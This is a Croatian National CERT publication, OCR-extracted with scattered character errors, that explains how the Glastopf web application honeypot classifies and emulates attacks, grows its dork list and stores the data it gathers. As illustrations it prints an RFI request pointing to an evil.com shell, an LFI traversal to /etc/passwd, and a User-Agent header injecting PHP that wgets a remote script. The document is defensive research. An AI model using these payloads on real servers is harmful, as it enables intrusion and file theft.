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Ovaj dokument je vlasniStvo Nacionalnog CERT—a. Namijenjen je za javnu objavu, njime se
moze svatko koristiti, na njega se pozivati, ali samo u izvornom obliku, bez ikakvih izmjena,
uz obvezno navodenje izvora podataka. Zabranjena je bilo kakva distribucija dokumenta u
elektronickom (web stranice i dr.) ili papirnatom obliku. Koristenje ovog dokumenta protivno
gornjim navodima, povreda je autorskih prava CARNet-a, a sve sukladno zakonskim
odredbama Republike Hrvatske.
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1 Uvod

U ukupnom broju pokusaja napada na Internetu, velika veéina njih je usmjerena na web
aplikacije. Organizacije si ne smiju dopustiti da im stranice budu kompromitirane, jer to moze
uzrokovati Sirenje malicioznog sadrzaja njihovim korisnicima ili pristup osjetljivim podatcima
korisnika.

Glastopf je nisko interaktivni posluziteljski honyepot, baziran kao web aplikacija (engl. web
application honeypot, skraceno WAH). WAH je jednostavan web posluzitelj sa javnim
HTML sadrzajem (stranicom) koji je indeksiran u trazilicama. Sadrzaj sadrzi poveznice do
datoteka sa poznatim ranjivostima. Prava ranjivost nije u stvarnosti prisutna ve¢ ju posluzitelj
prividno prikazuje kao da postoji i time privlaci napadace. Kako bi se napad mogao pravilno
obraditi, potrebno ga je prepoznati i klasificirati. To je vrlo slicno onome $to sigurnosne
stijene pokuSavaju posti¢i prilikom filtriranja prometa. Za obradu klasificiranog prometa na
honeypotu odgovorni su tzv. emulatori. Emulatori emuliraju neku ranjivost i odgovorni su za
kreiranje odgovarajuc¢ih odgovora prema napadacu kako bi ga zavarali da se radi o stvarnom
sustavu. Primjerice, ako napada¢ pokusa iskoristiti ranjivost SQL umetanjem i otkriti
informacije vezane uz bazu podataka, honeypot prvo mora klasificirati napad i prepoznati da
se radit o SQL umetanju, te ga potom proslijediti emulatoru na obradu koji ¢e onda vratiti
napadacu poruku o pogresci ili stranicu koja ukazuje da je napad uspjesno izvrSen (npr.
ispisujuci sadrzaj baze podataka). U kontekstu WAH-a postoje dva koncepta koja je potrebno
definirati kako bi se razumjelo na koji na¢in WAH pruza sucelje s kojim napadaci mogu
komunicirati:

e Dork ili mamac za privlaenje napadaca. Svaki napada¢ ¢e traziti put do neke
ranjivosti u web aplikaciji. Taj put se naziva dork. Napada¢i pronalaze te putove

(dorkove) preko trazilica koje ih indeksiraju

e Povrsina za napadanje je HTML sadrzaj koji sadrzi veliku koli¢inu dorkova. Trazilice
¢e prilikom skupljanja informacija o stranici pronaci te dorkove i indeksirati ih.
Slanjem upita u trazilicu koji sadrzi karakteristike potencijalno ranjive stranice Ce

prikazati medu rezultatima i honeypot [1]

Trenutno postoji vise honeypota ovakvog tipa, medutim, ono po ¢emu se Glastopf razlikuje
od njih je to $to ima drugaciji pristup prilikom izvodenja samog napada. Primjerice, Glastopf
podrzava visestupanjske napade, emulaciju ranjivosti i listu zahtjeva usmjerenih na ranjivost,
pa samim time odstupa od pristupa u kojem se koriste modificirani predlosci web aplikacija.
Princip Glastopfa je vrlo jednostavan- odgovoriti na napad koriste¢i odgovor koji napadac
ocekuje prilikom iskoriStavanja ranjivosti.

Prije svega valja nabrojati nekoliko drugih poznatih WAH-a: HIHAT, Dshield Web Honeypot
Project, Google Hack Honeypot i PHPHOP (vise se ne odrzava) [6].

Ovi honeypoti imaju jednu zajednicku osobinu, a to je da svi koriste modificirane predloske
stvarnih web aplikacije kako bi zavarali 1 privukli paznju napadaca. Ti predloSci su
modificirane inacice originalnih web aplikacija i nisu opasni za sustav na kojem se nalaze.
Ogranicenje ovakvog pristupa je da za svaku novu ranjivost mora izradivati nova inacica te
ranjivosti, kako bi bila podrzana. To moze iziskivati puno vremena. Isto tako postoji prednost
u takvom pristupu. Honeypot izgleda vrlo uvjerljivo i s vremenom moze privuéi vise
neautomatiziranih i kompleksnijih napada.

Verzija 1.00 NCERT-PUBDOC-2013-10-339 stranica 3/ 10



Nacionalni.F

CERT

e HIHAT projekt [3] je bio usmjeren vise na napredne napade nego na automatizirane.
Predlosci su bili visoko specijalizirani 1 na vi$oj razini interakcije sa napadacem.

Medutim broj jedinstvenih napadaca na ovakvom honeypotu je vrlo nizak.

e Dshield [4] je poceo kao brzo razvijajuéi projekt, ali isto tako je i njegov razvoj brzo
usporio. Njegov jezgreni dio je pisan u PHP programskom jeziku, tako da ga je bilo

jednostavno instalirati na bilo kojoj platformi.

e Google Hack Honeypot [5] takoder koristi modificirane predloske za detektiranje
napada. S obzirom na slabo odrzavanje ovog sustava i pisanja novih predlozaka, ovaj

honeypot je dobar za hvatanje starijih, poznatih ranjivosti

Glavna motivacija za izradu Glastopfa je ta da se napravi novi honeypot koji neée biti ovisan
o pisanju novih predlozaka kao prethodno navedeni projekti. Drugi razlog je ogranicena
mogucnost suocavanja s visestupanjskim napadima. Mnogi napadaci koriste jednostavnu
datoteku kojom testiraju ranjivost sustava. Datoteka izvrSava odredene funkcije kako bi
izvukla informaciju o ranjivom sustavu i vraca rezultat napadacu. Ako napadac primi odgovor
koji oCekuje, pokuSava pokrenuti zlonamjerni kod ili odredenu vrstu umetanja i izvrSavanja
skripti kako bi pretvorio posluzitelja u bot racunalo. Zakljucak je da ako se uspije napadacu
uspjesno odgovoriti na njegove prve testne upite, da se mogu pratiti daljnji napadi koji sadrze
vrijedne informacije. Kako bi se generirali odgovori Glastopf koristi svoje emulatore. [2]

1.1 Arhitektura Glastopfa

Osnovno nacelo Glastopfa je da je usmjeren na automatizirane napade, a ne na specijalizirane.
Postupak obrade napada je sljedeci- napadac Salje maliciozni zahtjev, Glastopf ga procesira,
ako je potrebno zapisuje u bazu podataka novi zapis o napadu ili sprema datoteku ako postoji,
te odgovara napadacu. Postupak je prikazan na slici (Slika 1.1).
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Slika 1.1 Op¢eniti postupak obrade napada

Kako bi se generirao $to bolji odgovor napadacu, potrebno je znati sve detalje napada. Puni
zahtjev napadaca sastoji se od tri dijela:

GET http://www.example.com/folder/index.html HTTP/1.1

Ono §to je bitno za obradu napada su prva dva dijela, metoda i zahtjev. Glastopf je
minimalisticki HTTP posluzitelj koji je u mogucnosti parsirati i odluciti, na osnovu
nadolazeceg zahtjeva, koju metodu obrade zahtjeva primijeniti. Glastopf trenutno podrzava
GET, POST i HEAD metodu. Na HEAD zahtjev odgovara s generickim posluziteljskim
zaglavljem. U slu¢aju POST zahtjeva sprema se cijeli sadrzaj. Naj¢esé¢i su GET zahtjevi.
Nakon razlucivanja o kojoj metodi se radi, Glastopf nastoji klasificirat tip napada. Da bi to
postigao, koristi predefinirane uzorke temeljene na ukupno skupljenom znanju o napadima.
GET
http://www.example.com/vulnerable.php?color=http://evil.com/shell.ph
p

1z prethodnog zahtjeva moze se vidjeti kako napada¢ definira parametar ,,color* kao URL na
neku malicioznu datoteku. Ovakav tip zahtjeva naziva se udaljeno ukljucivanje datoteke
(engl. Remote file inclusion, skrac¢eno RFI), koji ¢e biti opisan kasnije, a takoder je koriSten u
prakticnom dijelu rada. Glastopf koristi skup pravila koja aktiviraju potrebne emulatore. U
tim pravilima koriSteni su regularni izrazi koji pokusavaju prepoznati tip napada. Nakon §to
prepozna o kojem napadu se radi, Glastopf poc¢inje generirati odgovor na njega kako bi
simulirao uspjesan napad. [zmedu ostalog za to se koristi i prilagodeni PHP parser. Njemu se
moze predati napadaceva skripta, iz koje se pokuSaju izvuci dijelovi bitni za generiranje
odgovora koji bi bio dovoljan da se napadaca zavara kao da je ista skripta pokrenuta na
posluzitelju. [2] Na slici (Slika 1.2) je prikazan skracéeni dijagram toka obrade napada u
Glastopfu.
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Slika 1.2 Tok obrade pojedinih napada

1.2 Vrste napada

Glastopf trenutno podrzava i razvija emulatore za razli€ite vrste ranjivosti. RFI je ve¢
spomenut, njemu sli¢an je lokalno ukljuc¢ivanje datoteke (engl. Local file inclusion, skrac¢eno
LFI). Kod LFI napada napadac¢ pokuSava iskoristiti ranjivost kako bi zadobio kriticne
sigurnosne informacije ili kako bi izvr§io prethodno umetnuti kod. Razlikuje se od RFI
napada po tome $to se datoteka ne ukljucuje s udaljenog mjesta ve¢ lokalno sa posluzitelja.
Primjer jednog LFI napada:
/phpbb/index.php?sub=../../../../../../../../../etc/passwds00

U prikazanom primjeru se pokuSava dohvatiti datoteka ,,passwd* koja sadrzi osjetljive
informacije o lozinkama.

Udaljeno izvrSavanje koda (engl. Remote Code Execution) moze se izvesti izmjenom HTTP
zaglavlja tako da pod vrijednost jednog od parametra zaglavlja uklju¢imo proizvoljan kod,
npr.:

GgT / HTITP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: <?system('wget http://*.*.249.164/intranet/xpl/cmd/xigor
-0 c.php');?>

Jedan od najpoznatijih napada je SQL umetanje. Za potrebe istoga Glastopf koristi interni
parser SQL kdda, koji nakon $to analizira umetnuti kdd napadaca, vrac¢a poruku o pogresci ili
oc¢ekivani rezultat.
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1.2.1 RFI napad

Princip ovog napada je vrlo jednostavan- u ranjivom dijelu koda web aplikacije potrebno je
priloziti malicioznu datoteku kako bi se pokrenula i izvrSila na kompromitiranom posluzitelju.
U vecini slucajeva napadac¢ ocekuje neku povratnu informaciju od svog napada u slucaju da je
bio uspjesan. Na slici (Slika 1.3) je prikazan dijagram u kojem se opisuje obrada RFI napada.

| Dohvat i citanje
datoteke

2

Datoteka nije dnhvaéenaJ Datoteka je dohvacena

i

o

<

Slanje uobicajenog
odgovora

J base64 dekriptiranje

-

Emulator ranjivosti

-

Kreiranje odgovora

-

Slanje odgovora

-——

Spremanje datoteke

vV

' Dodava nje zapisa u dork
listu

Slika 1.3 Obrada RFI napada

Nakon izvr§enog napada pokuSava se dohvatiti datoteka koju napada¢ pokuSava umetnuti.
Nakon toga emulator za RFI napad parsira datoteku koju je napada¢ poslao i trazi sve echo()
funkcije (Slika 1.4).
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Slika 1.4 Koncept RFI emulatora ranjivosti

U slucaju da ih pronade, traZi sve eventualne varijable pozvane unutar te funkcije i zamjenjuje
ih sa pripadnim vrijednostima. U konacnici, na taj nacin Glastopf moze dati napadacu
zadovoljavajuci odgovor, a da i dalje prikrije svoj identitet kao honeypot sustav. Kratki
primjer ovog koncepta prikazan je u nastavku.

Primjer umetnute datoteke:

<?php

$un = @php uname () ;

Sup = system(uptime) ;

echo "uname -a: Sun<br>";

echo "uptime: Sup<br>";

?>

U ovom primjeru emulator ¢e uzeti vrijednost varijabli ,,$un® i ,,$up* te ih spremiti u rjecnik,
tako da kada se pozovu u echo funkciji ih moze iskoristiti i vratiti napadacu odgovor, u ovom
slu¢aju informacije (laZne naravno) o koriStenom operativnom sustavu i vrijeme neprekinutog
rada sustava.

U novijim inac¢icama Glastopfa ovaj emulator je zamijenjen sa realnim PHP pjeSc¢anikom
(engl. sandbox), s obzirom da realni napadi nisu toliko jednostavni i da se u najmanju ruku
obfusciraju odredenim jednostavnim kodiranjima.
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1.3 Dinamicka lista Dorkova

Prethodno je ve¢ definiran pojam dork, te je jasno vidljivo da je koncept reklamiranja
honeypota vrlo jednostavan. Kako bi se posao olaksao da se novi dorkovi ne bi morali ru¢no
upisivati, osmisljena je dodatna tehnika kojom se isti dinamicki generiraju.

Svaki put kada je honeypot napadnut, napadac iza sebe ostavi svoj zahtjev. Unutar zahtjeva se
nalazi put do ranjive datoteke napadnute aplikacije (dork). Internetske trazilice najpogodnije
su za pretragu ranjivih stranica. Uzmimo sljedeci zahtjev za primjer:

GET
http://www.example.com/vulnerable.php?color=http://evil.com/shell.ph

p
Ako napadac trazi web aplikaciju ranjivu na ovakav primjer napada, onda ¢e u trazilicu

upisati:

inurl:“vulnerable.php“

Ovakav zahtjev ¢e vratiti listu svih potencijalno ranjivih stranica s ovom ranjivosti, pa tako i
honeypot koji na sebi sadrzi takav dork. Medutim prilikom napada, napada¢ najcesc¢e pokusati
iskoristiti viSe od jedne ranjivosti na istoj domeni. Tako na primjer moze na domeni iz
prethodnog primjera pokusati izvesti sljedeci zahtjev:

GET
http://www.example.com/hackme.php?color=http://evil.com/shell.php
Ako se ,,hackme.php* ne nalazi u listi dorkova honeypota, onda ¢e ga Glastopf dinamicki
dodati na tu listu, te ¢e prilikom ponovnog indeksiranja trazilica zabiljeziti promijene i na taj
nacin ¢e honeypot automatski prosiriti domenu reklamiranja. Ovom metodom se, kroz
vrijeme, povecava privlacenje napadaca. Druga prednost prosirivanja liste dorkova je ta da je
moguce pronaci nove ranjivosti web aplikacija.

1.4 Moguénosti upotrebe skupljenih podataka

Puno je moguénosti upotrebe podataka skupljenih uz pomo¢ Glastopfa. Ono $to Glastopf cuva
u svojoj bazi podataka kao informaciju o napadima su izvori$ne IP adrese s kojih je poslan
napad, vrijeme napada, metoda, URL, parametri URL-a, verzija HTTP zahtjeva, HTTP
zaglavlje napada, HTTP tijelo zahtjeva, prepoznati obrazac napada (RFI, LFI, SQL umetanje,
nepoznati i sl.), ime datoteke ako je uspjeSno dohvacena i spremljena, te odgovor Glastopfa na
zahtjev. Vrlo zanimljive mogu biti prikupljene datoteke napadaca, koje se mogu pregledavati i
obradivati kako bi se ustanovilo jesu li maliciozne ili ne. Nakon toga, ako je ustanovljeno da
su maliciozne 1 ovisno o tome $to ¢ine, moguce je donijeti odredene zakljucke. Tako se
primjerice u velikoj koli¢ini skupljaju HTML datoteke koje u sebi mogu sadrzavati XSS
napad. Pregledom IP adresa koje su vezane uz slanje takvih datoteka moze se razmatrati neko
rjeSenje na koji nacin sankcionirati Sirenje takvog malicioznog sadrZaja. Takoder se direktno
Salju 1 PHP maliciozne skripte. Njthovom obradom moze se vidjeti $to one uzrokuju svojim
pokretanjem. Tako se npr. moze pronaci skripta koja izvrSava spajanje na Internet Relay Chat
(skrac¢eno IRC), te se na temelju toga moze zakljuéiti da se vrlo vjerojatno radi o IRC botu.
Daljnjom obradom mogu se pronalaziti kontrolni centri za upravljanje tim botovima, $to moze
biti od velike vaznosti u borbi protiv botnet mreza. Ovakav tip obrade ¢e biti opisan u
prakticnom dijelu rada. Isto tako mogu se ispitivati ranjivosti koje je koristio pojedinacni
napadac, te vidjeti koje je tehnike i postupke koristio prilikom napada. S obzirom da je
Glastopf viSe namijenjen automatiziranim napadima, preporuceno je klasificirati datoteke u
smislene skupine, te potom na njima vrSiti obradu, traZenje odredenih obrazaca ponaSanja,
tekstualnih uzoraka i sl.
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